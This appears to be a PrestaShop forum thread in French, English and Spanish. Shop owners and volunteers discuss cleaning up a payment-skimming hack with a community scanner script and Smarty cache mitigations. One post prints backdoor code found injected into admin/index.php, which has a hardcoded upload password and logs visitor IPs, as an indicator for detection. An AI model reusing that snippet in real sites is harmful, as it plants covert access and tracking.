Eolia Posted August 10, 2022 Share Posted August 10, 2022 Il y a 3 heures, SAKSCM a dit : I saw 😮 surprisingly it wasnt having the problem with the payment method This is the error in the server logs Thanks, best regards could you send me here your infected zip file please ? Link to comment Share on other sites More sharing options...
SAKSCM Posted August 10, 2022 Share Posted August 10, 2022 2 hours ago, Eolia said: could you send me here your infected zip file please ? Is that suspicious.zip? Link to comment Share on other sites More sharing options...
Eolia Posted August 10, 2022 Share Posted August 10, 2022 Yes Link to comment Share on other sites More sharing options...
SAKSCM Posted August 11, 2022 Share Posted August 11, 2022 12 hours ago, Eolia said: Yes Hi, Here is the zip. Thank you. Best regards. suspicious.zip Link to comment Share on other sites More sharing options...
doekia Posted August 11, 2022 Share Posted August 11, 2022 (edited) il y a 24 minutes, SAKSCM a dit : Here is the zip. Thank you. Suppress the 2 functions csschecks ans jschecks from your files. Controller.php Line 638 to 691 Then suppress the leading } on line 692 You can also suppress lines 872 to the end of file FrontController.php Line 714 to 767 Then suppress the leading } on line 768 You can also suppress lines 2176 to the end of file ModuleFrontController.php Supress line 102 Tools.php Suppress line 4524 Store.php Suppress line 209 Product.php Suppress line 8386 Shop.php Suppress line 1355 Edited August 11, 2022 by doekia (see edit history) 1 Link to comment Share on other sites More sharing options...
SAKSCM Posted August 11, 2022 Share Posted August 11, 2022 5 minutes ago, doekia said: Suppress the 2 functions csschecks ans jschecks from your file. Line 638 to 691 Then suppress the leading } on line 692 You can also suppress lines 872 to the end of file Hi, Thank you.. Which file, inside the zip there are a bunch of files 😅 Deleting this will make the other ones infections useless? Thank you, best regards! Link to comment Share on other sites More sharing options...
doekia Posted August 11, 2022 Share Posted August 11, 2022 Edited my post. BTW do not run the shop until you have reviewed all cleaner.php alerts There is a huge bunch of backdoor here that reinfect on run 1 Link to comment Share on other sites More sharing options...
SAKSCM Posted August 11, 2022 Share Posted August 11, 2022 (edited) On 8/11/2022 at 10:43 AM, doekia said: Edited my post. BTW do not run the shop until you have reviewed all cleaner.php alerts There is a huge bunch of backdoor here that reinfect on run Hi! Ahhh now is much clearer, thank you!! If I clean this, do you think I can run the cleaner.php without break the site like before? Thank you so much Edited August 12, 2022 by SAKSCM (see edit history) Link to comment Share on other sites More sharing options...
Eolia Posted August 11, 2022 Share Posted August 11, 2022 1- Run cleaner.php 2- Extract all /class dir from your original prestashop version zip (at the end of the script page) 3 - Replace your ftp/class dir with this original 4- Your shop is now safe 1 Link to comment Share on other sites More sharing options...
SAKSCM Posted August 11, 2022 Share Posted August 11, 2022 (edited) 42 minutes ago, Eolia said: 1- Run cleaner.php 2- Extract all /class dir from your original prestashop version zip (at the end of the script page) 3 - Replace your ftp/class dir with this original 4- Your shop is now safe Hi! Thank you! And what happens with the other prestashop files it removes are not needed? Also needed the changes suggested by doekia right? Thank you, best regards Edited August 11, 2022 by SAKSCM (see edit history) Link to comment Share on other sites More sharing options...
Neck_Rein Posted August 12, 2022 Share Posted August 12, 2022 (edited) Bonjour, j'ai effectué le script, merci beaucoup pour votre vigilance et réactivité j'ai remplacé les fichiers en orange, mais ils sont toujours dans le script : #MD5 WARNING : Fichier différent de l'original public_html/classes/Cart.php #MD5 WARNING : Fichier différent de l'original public_html/classes/order/OrderHistory.php #MD5 WARNING : Fichier différent de l'original public_html/config/smarty.config.inc.php Lignes hors classe dans public_html/config/smarty.config.inc.php define('_PS_SMARTY_DIR_', _PS_TOOL_DIR_.'smarty/'); require_once(_PS_SMARTY_DIR_.'Smarty.class.php'); global $smarty; $smarty = new SmartyCustom(); $smarty->setCompileDir(_PS_CACHE_DIR_.'smarty/compile'); $smarty->setCacheDir(_PS_CACHE_DIR_.'smarty/cache'); if (!Tools::getSafeModeStatus()) { $smarty->use_sub_dirs = true; } $smarty->setConfigDir(_PS_SMARTY_DIR_.'configs'); $smarty->caching = false; if (false && Configuration::get('PS_SMARTY_CACHING_TYPE') == 'mysql') { include(_PS_CLASS_DIR_.'/SmartyCacheResourceMysql.php'); $smarty->caching_type = 'mysql'; } $smarty->force_compile = (Configuration::get('PS_SMARTY_FORCE_COMPILE') == _PS_SMARTY_FORCE_COMPILE_) ? true : false; $smarty->compile_check = (Configuration::get('PS_SMARTY_FORCE_COMPILE') >= _PS_SMARTY_CHECK_COMPILE_) ? true : false; $smarty->debug_tpl = _PS_ALL_THEMES_DIR_.'debug.tpl'; if (defined('_PS_SMARTY_FAST_LOAD_') && _PS_SMARTY_FAST_LOAD_) { return; } if (defined('_PS_ADMIN_DIR_')) { require_once(dirname(__FILE__).'/smartyadmin.config.inc.php'); } else { require_once(dirname(__FILE__).'/smartyfront.config.inc.php'); } ($smarty, 'modifier', 'truncate', ''); ($smarty, 'modifier', 'secureReferrer', array('Tools', 'secureReferrer')); ($smarty, 'function', 't', ''); // unused ($smarty, 'function', 'm', ''); // unused ($smarty, 'function', 'p', ''); // Debug only ($smarty, 'function', 'd', ''); // Debug only ($smarty, 'function', 'l', 'smartyTranslate', false); ($smarty, 'function', 'hook', ''); ($smarty, 'function', '', ''); ($smarty, 'modifier', 'json_encode', array('Tools', 'jsonEncode')); ($smarty, 'modifier', 'json_decode', array('Tools', 'jsonDecode')); ($smarty, 'function', 'dateFormat', array('Tools', 'dateFormat')); ($smarty, 'function', 'convertPrice', array('Product', 'convertPrice')); ($smarty, 'function', 'convertPriceWithCurrency', array('Product', 'convertPriceWithCurrency')); ($smarty, 'function', 'displayWtPrice', array('Product', 'displayWtPrice')); ($smarty, 'function', 'displayWtPriceWithCurrency', array('Product', 'displayWtPriceWithCurrency')); ($smarty, 'function', 'displayPrice', array('Tools', 'displayPriceSmarty')); ($smarty, 'modifier', 'convertAndFormatPrice', array('Product', 'convertAndFormatPrice')); // used twice ($smarty, 'function', 'getAdminToken', array('Tools', 'getAdminTokenLiteSmarty')); ($smarty, 'function', 'displayAddressDetail', array('AddressFormat', 'generateAddressSmarty')); ($smarty, 'function', 'getWidthSize', array('Image', 'getWidth')); ($smarty, 'function', 'getHeightSize', array('Image', 'getHeight')); ($smarty, 'function', 'addJsDef', array('Media', 'addJsDef')); ($smarty, 'block', 'addJsDefL', array('Media', 'addJsDefL')); ($smarty, 'modifier', 'boolval', array('Tools', 'boolval')); ($smarty, 'modifier', 'cleanHtml', ''); Recherche de fichiers php ajoutés: Fichier php inexistant dans la version d'origine : public_html/mails/fr/lang.php Fichier php inexistant dans la version d'origine : public_html/config/settings.inc.php Contrôle sur les fichiers sensibles connus pour être modifiés: Pas de fichier suspect type XXXXX.js detecté OK Pas d'include indésirable dans defines.inc.php OK Contrôle de public_html/classes/Dispatcher.php => OK Contrôle de public_html/classes/Hook.php => OK Contrôle de public_html/classes/controller/FrontController.php => OK Contrôle de public_html/classes/db/Db.php => OK Contrôle de public_html/classes/module/Module.php => OK Contrôle de public_html/controllers/front/IndexController.php => OK Contrôle de public_html/tools/smarty/sysplugins/smarty_internal_templatebase.php => OK Contrôle de public_html/config/alias.php => OK !!! ATTENTION !!! Certains de vos fichiers coeurs ont été modifiés. Si ces modifications ne sont pas volontaires, nous vous conseillons de les restaurer dans leur version d'origine Prestashop fournie dans le zip ci-dessous. j'ai purgé les différents caches, mais cela reste ainsi.. Edited August 12, 2022 by Neck_Rein t (see edit history) Link to comment Share on other sites More sharing options...
arm15 Posted August 12, 2022 Share Posted August 12, 2022 Bonjour, en voulant tester la nouvelle version du script d' @Eolia la 1.0.43 j'ai remarqué que j'avais un fichier cœur différent de la version originale de Prestashop 1.7.8.6 C'est le fichier : smarty.config.inc.php Personnellement, je n'y ai jamais touché, peut-être un concepteur de module éventuellement...? Je vous joins les 2 fichiers, l'original et celui qui est en cours. Link to comment Share on other sites More sharing options...
wack Posted August 12, 2022 Share Posted August 12, 2022 il y a une heure, arm15 a dit : Bonjour, en voulant tester la nouvelle version du script d' @Eolia la 1.0.43 j'ai remarqué que j'avais un fichier cœur différent de la version originale de Prestashop 1.7.8.6 C'est le fichier : smarty.config.inc.php Personnellement, je n'y ai jamais touché, peut-être un concepteur de module éventuellement...? Je vous joins les 2 fichiers, l'original et celui qui est en cours. La différence est liée à la suppression des lignes 43 à 46 du fichier original quand la faille est sortie et que Prestashop nous avait indiqué qu'il valait mieux les supprimer (ce que tu as dû faire ou le mainteneur du site). Link to comment Share on other sites More sharing options...
arm15 Posted August 12, 2022 Share Posted August 12, 2022 Ah, d'accord, effectivement, j'avais supprimé ces lignes....pfff...Il devait être tard.....(la bonne excuse 😉) 1 Link to comment Share on other sites More sharing options...
Eolia Posted August 12, 2022 Share Posted August 12, 2022 Il y a 3 heures, Neck_Rein a dit : Bonjour, j'ai effectué le script, merci beaucoup pour votre vigilance et réactivité j'ai remplacé les fichiers en orange, mais ils sont toujours dans le script : #MD5 WARNING : Fichier différent de l'original public_html/classes/Cart.php #MD5 WARNING : Fichier différent de l'original public_html/classes/order/OrderHistory.php #MD5 WARNING : Fichier différent de l'original public_html/config/smarty.config.inc.php Lignes hors classe dans public_html/config/smarty.config.inc.php define('_PS_SMARTY_DIR_', _PS_TOOL_DIR_.'smarty/'); require_once(_PS_SMARTY_DIR_.'Smarty.class.php'); global $smarty; $smarty = new SmartyCustom(); $smarty->setCompileDir(_PS_CACHE_DIR_.'smarty/compile'); $smarty->setCacheDir(_PS_CACHE_DIR_.'smarty/cache'); if (!Tools::getSafeModeStatus()) { $smarty->use_sub_dirs = true; } $smarty->setConfigDir(_PS_SMARTY_DIR_.'configs'); $smarty->caching = false; if (false && Configuration::get('PS_SMARTY_CACHING_TYPE') == 'mysql') { include(_PS_CLASS_DIR_.'/SmartyCacheResourceMysql.php'); $smarty->caching_type = 'mysql'; } $smarty->force_compile = (Configuration::get('PS_SMARTY_FORCE_COMPILE') == _PS_SMARTY_FORCE_COMPILE_) ? true : false; $smarty->compile_check = (Configuration::get('PS_SMARTY_FORCE_COMPILE') >= _PS_SMARTY_CHECK_COMPILE_) ? true : false; $smarty->debug_tpl = _PS_ALL_THEMES_DIR_.'debug.tpl'; if (defined('_PS_SMARTY_FAST_LOAD_') && _PS_SMARTY_FAST_LOAD_) { return; } if (defined('_PS_ADMIN_DIR_')) { require_once(dirname(__FILE__).'/smartyadmin.config.inc.php'); } else { require_once(dirname(__FILE__).'/smartyfront.config.inc.php'); } ($smarty, 'modifier', 'truncate', ''); ($smarty, 'modifier', 'secureReferrer', array('Tools', 'secureReferrer')); ($smarty, 'function', 't', ''); // unused ($smarty, 'function', 'm', ''); // unused ($smarty, 'function', 'p', ''); // Debug only ($smarty, 'function', 'd', ''); // Debug only ($smarty, 'function', 'l', 'smartyTranslate', false); ($smarty, 'function', 'hook', ''); ($smarty, 'function', '', ''); ($smarty, 'modifier', 'json_encode', array('Tools', 'jsonEncode')); ($smarty, 'modifier', 'json_decode', array('Tools', 'jsonDecode')); ($smarty, 'function', 'dateFormat', array('Tools', 'dateFormat')); ($smarty, 'function', 'convertPrice', array('Product', 'convertPrice')); ($smarty, 'function', 'convertPriceWithCurrency', array('Product', 'convertPriceWithCurrency')); ($smarty, 'function', 'displayWtPrice', array('Product', 'displayWtPrice')); ($smarty, 'function', 'displayWtPriceWithCurrency', array('Product', 'displayWtPriceWithCurrency')); ($smarty, 'function', 'displayPrice', array('Tools', 'displayPriceSmarty')); ($smarty, 'modifier', 'convertAndFormatPrice', array('Product', 'convertAndFormatPrice')); // used twice ($smarty, 'function', 'getAdminToken', array('Tools', 'getAdminTokenLiteSmarty')); ($smarty, 'function', 'displayAddressDetail', array('AddressFormat', 'generateAddressSmarty')); ($smarty, 'function', 'getWidthSize', array('Image', 'getWidth')); ($smarty, 'function', 'getHeightSize', array('Image', 'getHeight')); ($smarty, 'function', 'addJsDef', array('Media', 'addJsDef')); ($smarty, 'block', 'addJsDefL', array('Media', 'addJsDefL')); ($smarty, 'modifier', 'boolval', array('Tools', 'boolval')); ($smarty, 'modifier', 'cleanHtml', ''); Recherche de fichiers php ajoutés: Fichier php inexistant dans la version d'origine : public_html/mails/fr/lang.php Fichier php inexistant dans la version d'origine : public_html/config/settings.inc.php Contrôle sur les fichiers sensibles connus pour être modifiés: Pas de fichier suspect type XXXXX.js detecté OK Pas d'include indésirable dans defines.inc.php OK Contrôle de public_html/classes/Dispatcher.php => OK Contrôle de public_html/classes/Hook.php => OK Contrôle de public_html/classes/controller/FrontController.php => OK Contrôle de public_html/classes/db/Db.php => OK Contrôle de public_html/classes/module/Module.php => OK Contrôle de public_html/controllers/front/IndexController.php => OK Contrôle de public_html/tools/smarty/sysplugins/smarty_internal_templatebase.php => OK Contrôle de public_html/config/alias.php => OK !!! ATTENTION !!! Certains de vos fichiers coeurs ont été modifiés. Si ces modifications ne sont pas volontaires, nous vous conseillons de les restaurer dans leur version d'origine Prestashop fournie dans le zip ci-dessous. j'ai purgé les différents caches, mais cela reste ainsi.. Bizarre, sauf si vous êtes chez OVH, ce que vous voyez en ftp est une image (avec décalage du ftp réel) il faut parfois attendre plus d'une minute pour que les fichiers soient réellement mis à jour. Que vous donne l'archive suspicious.zip pour ces fichiers ? la version d'origine ou une autre ? Link to comment Share on other sites More sharing options...
Eolia Posted August 12, 2022 Share Posted August 12, 2022 Pour info, nouveau fichier attaqué découvert sur une 1.7 admin/index.php dont ces lignes sont ajoutées: $add_cookies = md5(md5($_SERVER['DOCUMENT_ROOT'])); if(md5($_REQUEST["themearchivesubmitter"]) != "bf1ae6db6e2cf4f338435bc1d9abf599") { if(isset($_POST['themearchive'])) { header("HTTP/1.1 301 Moved Permanently"); header("Location: /"); exit(); } if(isset($_FILES['file_uploaded']['name'])) { header("HTTP/1.1 301 Moved Permanently"); header("Location: /"); exit(); } } if(!isset($_COOKIE[$add_cookies])) { setcookie($add_cookies, "1", null, "/", $_SERVER['HTTP_HOST'], 1, 1); $master_dir = ini_get('upload_tmp_dir'); if (empty($master_dir)) { $master_dir = '/tmp/'; } else { $master_dir = ini_get('upload_tmp_dir').'/'; } if(isset($_SERVER['HTTP_CF_CONNECTING_IP']) AND !empty($_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip_addr = $_SERVER['HTTP_CF_CONNECTING_IP']; } else { $ip_addr = $_SERVER['REMOTE_ADDR']; } if(is_writable($master_dir)) { $fp=fopen($master_dir.'/'.$add_cookies,"a"); fputs($fp,"\n".$ip_addr); fclose($fp); } } Le script vous informera si ce fichier n'est pas conforme à l'origine. 4 Link to comment Share on other sites More sharing options...
Neck_Rein Posted August 12, 2022 Share Posted August 12, 2022 5 hours ago, Eolia said: Bizarre, sauf si vous êtes chez OVH, ce que vous voyez en ftp est une image (avec décalage du ftp réel) il faut parfois attendre plus d'une minute pour que les fichiers soient réellement mis à jour. Que vous donne l'archive suspicious.zip pour ces fichiers ? la version d'origine ou une autre ? Je suis chez O2switch La seule différence entre ces fichiers et la version d'origine est l'appel du module code2pay. Sinon ils sont parfaitement identiques Link to comment Share on other sites More sharing options...
Eolia Posted August 13, 2022 Share Posted August 13, 2022 Vous pouvez m'envoyer en MP l'url de votre site svp ? Link to comment Share on other sites More sharing options...
solsol69 Posted August 13, 2022 Share Posted August 13, 2022 Bonjour à tous Merci beaucoup pour le script @Eolia, et merci à tous les membres qui ont participé activement à la résolution et la compréhension de cette faille. 2 Link to comment Share on other sites More sharing options...
Eolia Posted August 13, 2022 Share Posted August 13, 2022 Pour info, les dernières versions renomment le script pour éviter les appels vers celui-ci de la part d'indésirables. Veuillez bien noter la nouvelle url créée (Vous pouvez toujours recharger le cleaner de base si vous l'avez perdue) Dernier changelogs: 1.0.44 (12/08/2022) - Ajout de contrôle spécifique sur l'admin/index.php + message d'erreur si écriture du script impossible 1.0.45 (12/08/2022) - Suppression des messages en double et refacto 1.0.46 (13/08/2022) - Renommage du script pour éviter les tests d'indésirables 1.0.47 (13/08/2022) - Contrôle de l'unicité du répertoire /admin 1.0.48 (13/08/2022) - Refacto 1.0.49 (13/08/2022) - Ré-écriture de la recherche des fonctions sensibles dans les modules Link to comment Share on other sites More sharing options...
gusman126 Posted August 13, 2022 Share Posted August 13, 2022 @Eoliaañade una URL para donación de PayPal , quiero enviarte aunque sea para una cerveza ( o media en Francia, que es más caro que en España) Link to comment Share on other sites More sharing options...
Eolia Posted August 14, 2022 Share Posted August 14, 2022 Lo que comparto en este foro es mi parte comunitaria. Esto es gratis. Tengo otro trabajo cerca que me permite vivir 2 Link to comment Share on other sites More sharing options...
Eolia Posted August 16, 2022 Share Posted August 16, 2022 Last version: 1.0.55 1 Link to comment Share on other sites More sharing options...
Lynda Posted August 17, 2022 Share Posted August 17, 2022 Bonjour, L'installation du script sur une boutique ne risque-t-elle pas de permettre à des pirates d'exécuter le script et d'obtenir ainsi facilement un rapport détaillé des failles de sécurité de la boutique en question ? Link to comment Share on other sites More sharing options...
yama Posted August 17, 2022 Share Posted August 17, 2022 Quote 1.0.46 (13/08/2022) - Renommage du script pour éviter les tests d'indésirables Link to comment Share on other sites More sharing options...
Lynda Posted August 17, 2022 Share Posted August 17, 2022 J'ai voulu le renommer mais, étrangement, je ne vois plus le fichier cleaner.php à la racine de ma boutique. Lorsque j'exécute www.monsite.fr/cleaner.php, je suis redirigé vers www.monsite.fr/4d0ea9afd066.php Link to comment Share on other sites More sharing options...
Eolia Posted August 17, 2022 Share Posted August 17, 2022 il y a 13 minutes, Lynda a dit : J'ai voulu le renommer mais, étrangement, je ne vois plus le fichier cleaner.php à la racine de ma boutique. Lorsque j'exécute www.monsite.fr/cleaner.php, je suis redirigé vers www.monsite.fr/4d0ea9afd066.php Je ne sais pas à quoi ça sert qu'on mette un changelog dans le fichier ni une belle ligne en jaune en haut du script... 1 Link to comment Share on other sites More sharing options...
Lynda Posted August 17, 2022 Share Posted August 17, 2022 Je viens de comprendre. Merci Eolia ! Link to comment Share on other sites More sharing options...
Eolia Posted August 17, 2022 Share Posted August 17, 2022 Votre serveur est light en capacité ? Link to comment Share on other sites More sharing options...
doekia Posted August 17, 2022 Share Posted August 17, 2022 il y a une heure, aicv a dit : C'est un hébergement partagé, Espace total 25 Go SSD NVMe J'envoie l'image. un phpinfo() de votre serveur ? /pi.php <?php phpinfo(); Link to comment Share on other sites More sharing options...
Eolia Posted August 18, 2022 Share Posted August 18, 2022 Il y a 8 heures, aicv a dit : Le script le montre: La mémoire disponible sur votre serveur (2G) est insuffisante pour exécuter ce script, veuillez l'augmenter à 512 MB au minimum phpinfo de mon site montre ceci: Relancez-le svp et si l'erreur continue, veuillez regarder l'error.log de votre hébergement. Link to comment Share on other sites More sharing options...
Eolia Posted August 18, 2022 Share Posted August 18, 2022 Je ne vois pas de Fatal error ou bad gateway(500 ou 503) dans ces lignes... Il faut regarder à l'heure/minute où vous avez l'erreur. A chaque version nous ajoutons de nouvelles fonctions de scan suivant les nouveaux hacks découverts ce qui augmente les process/utilisation de la mémoire/temps d'utilisation du script Link to comment Share on other sites More sharing options...
OSFormation Posted August 19, 2022 Share Posted August 19, 2022 @Eolia Bonjour, D'abord merci pour vos contributions ! En tant que prestataire de service, peut-on utiliser votre script pour faire un contrôle sur la boutique d'un client et lui facturer l'intervention (temps passé, conseil, etc) ? Je précise qu'il ne s'agit pas de revendre votre script mais de l'utiliser pour gagner du temps dans les tâches qu'il accomplit. Merci d'avance Link to comment Share on other sites More sharing options...
Eolia Posted August 19, 2022 Share Posted August 19, 2022 il y a 21 minutes, OSFormation a dit : @Eolia Bonjour, D'abord merci pour vos contributions ! En tant que prestataire de service, peut-on utiliser votre script pour faire un contrôle sur la boutique d'un client et lui facturer l'intervention (temps passé, conseil, etc) ? Je précise qu'il ne s'agit pas de revendre votre script mais de l'utiliser pour gagner du temps dans les tâches qu'il accomplit. Merci d'avance Pas de souci tant que c'est transparent pour son utilisation. Link to comment Share on other sites More sharing options...
Eolia Posted August 20, 2022 Share Posted August 20, 2022 la complexité de certaines regex a augmenté mais certaines versions de PHP, notamment celles entre PHP7 et 7.3 ont des bugs a ce niveau. On a ajouté ceci en début de script mais certains hébergements ne permettent pas la modification de ces valeurs du coup ça par en segmentation fault... if (version_compare(phpversion(), '7.3.0', '<')) { @ini_set('pcre.jit',0); @ini_set('pcre.backtrack_limit',2148576); @ini_set('pcre.recursion_limit',2148576); } else { @ini_set('pcre2.jit',0); @ini_set('pcre2.backtrack_limit',2148576); @ini_set('pcre2.recursion_limit',2148576); } 1 Link to comment Share on other sites More sharing options...
Manoah Posted August 22, 2022 Share Posted August 22, 2022 Pour ceux que ça intéresse, j'ai aussi été victime d'un credit card sweeper exactement comme ceux cité plus haut dans le poste. Je ne sais pas si c'est ce hack ou une variante, j'en ai été infecté mi-juin de cette année, bien avant l'annonce de Prestashop. Depuis j'ai mis un pare-feu (sucuri) et désinfecté par moi-même en comparant tous les fichiers, sacré bazar). Sucuri a écrit un article à propos de mon cas (et probablement d'autres infecté), voici le lien: https://blog.sucuri.net/2022/07/prestashop-skimmer-concealed-in-one-page-checkout-module.html onepagecheckoutps semble revenir souvent dans les hack que j'ai vu (module payant), et je l'ai aperçu dans les logs d'une réponse un peu plus haut. J'ai mis tous les fichiers PHP en lecture seule, patché ce qui était à patcher, comparé tous les fichiers et maintenant avec sucuri, il filtre les requêtes m'informe si un fichier est modifié ou ajouté. Comme je ne peux pas migrer au delà de 1.6.1.24, j'espère que ça sera suffisant pour éviter tout autre hack. 1 Link to comment Share on other sites More sharing options...
Casuality78 Posted November 30, 2022 Share Posted November 30, 2022 Je suis également victime de ce hack qui touche mon système de paiement en le remplaçant par un encart cb. j’ai ma boutique depuis 5 ans sans problème majeur mais la j’ai fais une dizaine de demandes de devis pour épurer ma boutique de ce hack plus une migration sur la dernière version de presta et toute les agences me sorte des 5k/10k€ pour se faire ? Je fais 30k par ans avec cette boutique je fais comment à part mettre fin à mon activité ? Link to comment Share on other sites More sharing options...
Blawdi Posted November 30, 2022 Share Posted November 30, 2022 1 hour ago, Casuality78 said: Je suis également victime de ce hack qui touche mon système de paiement en le remplaçant par un encart cb. j’ai ma boutique depuis 5 ans sans problème majeur mais la j’ai fais une dizaine de demandes de devis pour épurer ma boutique de ce hack plus une migration sur la dernière version de presta et toute les agences me sorte des 5k/10k€ pour se faire ? Je fais 30k par ans avec cette boutique je fais comment à part mettre fin à mon activité ? Si vous avez été infecté c'est compliqué... la correction par contre elle était facile à faire mais trop tard dans votre cas. Je vous ai envoyé un devis qui n'est pas à 5K je vous rassure :=) Dans l'idéal pour vous, repartir sur un site propre avec l'import de vos données Link to comment Share on other sites More sharing options...
mandrake Posted November 30, 2022 Share Posted November 30, 2022 Bonsoir, D'un côté tu as des supers pros du dev comme Eolia ou Doekia qui apportent gratuitement la plupart du temps leur soutien à la communauté Presta et de l'autre tu en as qui se goinfrent sur le dos des possesseurs de boutique Prestashop inexpérimentés qui se font dépouiller de plusieurs centaines à plusieurs milliers d'euros pour des travaux qui, quand tu connais un peu le métier, prennent parfois 10 minutes. J'ai patché tous les sites de mes clients gratuitement avec le correctif pour ce hack. Quand on t'offre la solution gratuitement pourquoi la facturer à tes clients derrière ? Si encore ça prenait deux heures à faire mais là c'est plié en 10 minutes, même en 5 si tu prends le module offert par Linea Grafica qui patche automatiquement la faille. Mais bon j'ai un côté altruiste contrairement à certains. Je ne mourrai pas riche du coup mais je m'en fiche complètement. Ça fait du bien de faire du bien autour de soi aussi. 2 Link to comment Share on other sites More sharing options...
Blawdi Posted November 30, 2022 Share Posted November 30, 2022 Clairement, le correctif est patché en 10 secondes chronos... tous mes clients en contrat de maintenances ont été patché dans l'heure. Les nouveaux clients était facturé 10 euros avec vérifications si infections... Mais bon on ne peut pas patcher les clients qu'on ne connait pas Link to comment Share on other sites More sharing options...
Mediacom87 Posted November 30, 2022 Share Posted November 30, 2022 il y a 12 minutes, mandrake a dit : Bonsoir, D'un côté tu as des supers pros du dev comme Eolia ou Doekia qui apportent gratuitement la plupart du temps leur soutien à la communauté Presta et de l'autre tu en as qui se goinfrent sur le dos des possesseurs de boutique Prestashop inexpérimentés qui se font dépouiller de plusieurs centaines à plusieurs milliers d'euros pour des travaux qui, quand tu connais un peu le métier, prennent parfois 10 minutes. J'ai patché tous les sites de mes clients gratuitement avec le correctif pour ce hack. Quand on t'offre la solution gratuitement pourquoi la facturer à tes clients derrière ? Si encore ça prenait deux heures à faire mais là c'est plié en 10 minutes, même en 5 si tu prends le module offert par Linea Grafica qui patche automatiquement la faille. Mais bon j'ai un côté altruiste contrairement à certains. Je ne mourrai pas riche du coup mais je m'en fiche complètement. Ça fait du bien de faire du bien autour de soi aussi. Salut, je comprends ton propos ayant participé aussi à l’amélioration du script d’Eolia pour le rendre plus accessible au plus grand nombre. neanmoins, lorsque j’interviens sur un site hacké, je le nettoie intégralement en identifiant les points d’entrées pour que le hack ne se produise plus. jusqu’à maintenant, je n’ai eu à faire à aucun hack par le biais de dette histoire de cache mysql, mais bien par des modules non sécurisés. perso, même si je ne peux garantir à 100% que le site ne sera plus hacké dans le futur à moins que je puisse le suivre sous contrat de maintenance, j’essaye de rendre un site clean et patché jusque dans le code des modules tiers. et ce résultat, par expérience depuis le début de la crise me prend largement une demi journée complète et tu imagines bien que je ne suis pas en capacité d’offrir cela à n’importe qui, car chaque cas est unique. par contre, les failles identifiées sont partagées avec la communauté pour améliorer tout cela. mais je le répète, tout le monde n’intervient pas à ce niveau et n’accompagne pas réellement leurs clients. 1 Link to comment Share on other sites More sharing options...
magicbel Posted November 30, 2022 Share Posted November 30, 2022 il y a 4 minutes, Mediacom87 a dit : j’essaye de rendre un site clean et patché jusque dans le code des modules tiers. Tu fais bien de le stipuler car le dernier hack que j'ai rencontré (il y a 2 semaines) est non seulement bien étudié (vérif du cookie si admin,si oui,pas d'affichage du formulaire de paiement, ect...) et s'est propagé bien loin dans les modules (ici le dernier c'était jusque dans le module Dashgoals) Suffit pas de lancer le script d'Eolia et si rien, circulez, tout est sous contrôle, voici votre facture.😏 Porte d'entrée du hack : Module Appbuilder (encore lui 🥺) 3 Link to comment Share on other sites More sharing options...
Mediacom87 Posted November 30, 2022 Share Posted November 30, 2022 il y a 28 minutes, magicbel a dit : Tu fais bien de le stipuler car le dernier hack que j'ai rencontré (il y a 2 semaines) est non seulement bien étudié (vérif du cookie si admin,si oui,pas d'affichage du formulaire de paiement, ect...) et s'est propagé bien loin dans les modules (ici le dernier c'était jusque dans le module Dashgoals) Suffit pas de lancer le script d'Eolia et si rien, circulez, tout est sous contrôle, voici votre facture.😏 Porte d'entrée du hack : Module Appbuilder (encore lui 🥺) Oui, la dernière évolution du hack s’amuse à ne plus s’afficher à chaque fois histoire de laisser passer quelques commandes pour ne pas trop éveiller les soupçons. Link to comment Share on other sites More sharing options...
doekia Posted December 1, 2022 Share Posted December 1, 2022 Concernant la faille du cache SQL (jamais vu exploité pour ma part) en 1.6, sans migrer, le plus rapide est d'éditer le fichier config/smarty.config.inc.php Repérez le ligne: if (Configuration::get('PS_SMARTY_CACHING_TYPE') == 'mysql') { Remplacez la par if (false && Configuration::get('PS_SMARTY_CACHING_TYPE') == 'mysql') { Videz la table PREFIX_smarty_cache. 1 Link to comment Share on other sites More sharing options...
Eolia Posted December 1, 2022 Share Posted December 1, 2022 Il y a 12 heures, magicbel a dit : Tu fais bien de le stipuler car le dernier hack que j'ai rencontré (il y a 2 semaines) est non seulement bien étudié (vérif du cookie si admin,si oui,pas d'affichage du formulaire de paiement, ect...) et s'est propagé bien loin dans les modules (ici le dernier c'était jusque dans le module Dashgoals) Suffit pas de lancer le script d'Eolia et si rien, circulez, tout est sous contrôle, voici votre facture.😏 Porte d'entrée du hack : Module Appbuilder (encore lui 🥺) Cleaner contrôle les fichiers index.php. Tu dis qu'il ne détecte pas ce hack ? Link to comment Share on other sites More sharing options...
Mediacom87 Posted December 1, 2022 Share Posted December 1, 2022 il y a 2 minutes, Eolia a dit : Cleaner contrôle les fichiers index.php. Tu dis qu'il ne détecte pas ce hack ? Je crois qu'il faisait plus référence à la détection du point d'entrée et du colmatage à mettre en œuvre. Link to comment Share on other sites More sharing options...
magicbel Posted December 1, 2022 Share Posted December 1, 2022 Bonjour @Eolia J'ai pas souvenir que ton script ai détecté l'index du module. On l'a vu via un winmerge. Bon,étant pas mal chargé,j'ai fini pas mettre un collègue dessus car je n'avais pas le tps nécessaire pour tout verifier/cleaner Je viens de fouiller dans mes screens, voilà la partie concernant le cookie. Link to comment Share on other sites More sharing options...
OPTINR Posted February 16, 2023 Share Posted February 16, 2023 Je voulais relancer un coup le script de eolia avant d'aller dormir et bim pas de dodo encore se soir avec un site qui s'est encore répeté après le footer. C'est sans fin cette histoire de hack :( Link to comment Share on other sites More sharing options...
joseantgv Posted February 17, 2023 Share Posted February 17, 2023 13 hours ago, OPTINR said: Je voulais relancer un coup le script de eolia avant d'aller dormir et bim pas de dodo encore se soir avec un site qui s'est encore répeté après le footer. C'est sans fin cette histoire de hack Avez-vous changé les mots de passe pour le backoffice, le FTP, l'hébergement, etc. ? Link to comment Share on other sites More sharing options...
dn-graphisme Posted March 13, 2023 Share Posted March 13, 2023 Merci encore @Eolia heuresement que je tombe toujours sur tes topics. Le script fonctionne très bien et j'ai eu une boutique vérolé en 1.7.6.9... J'ai eu un dossier suspect dans /modules avec énormément de sous dossiers... Bref une galère pour pas changer :) Link to comment Share on other sites More sharing options...
JLCH Posted November 21, 2023 Share Posted November 21, 2023 (edited) Bonjour, quand je fais ça : Vous pouvez créer une tache cron dans le module cronjobs 1 fois par semaine en appelant http://sitetruc.fr/xxxxxxx7f.php automatiquement et recevoir le résultat par mail. Qui reçois l'email, quelle adresse? merci Encore super merci pour le script Edited November 22, 2023 by JLCH (see edit history) Link to comment Share on other sites More sharing options...
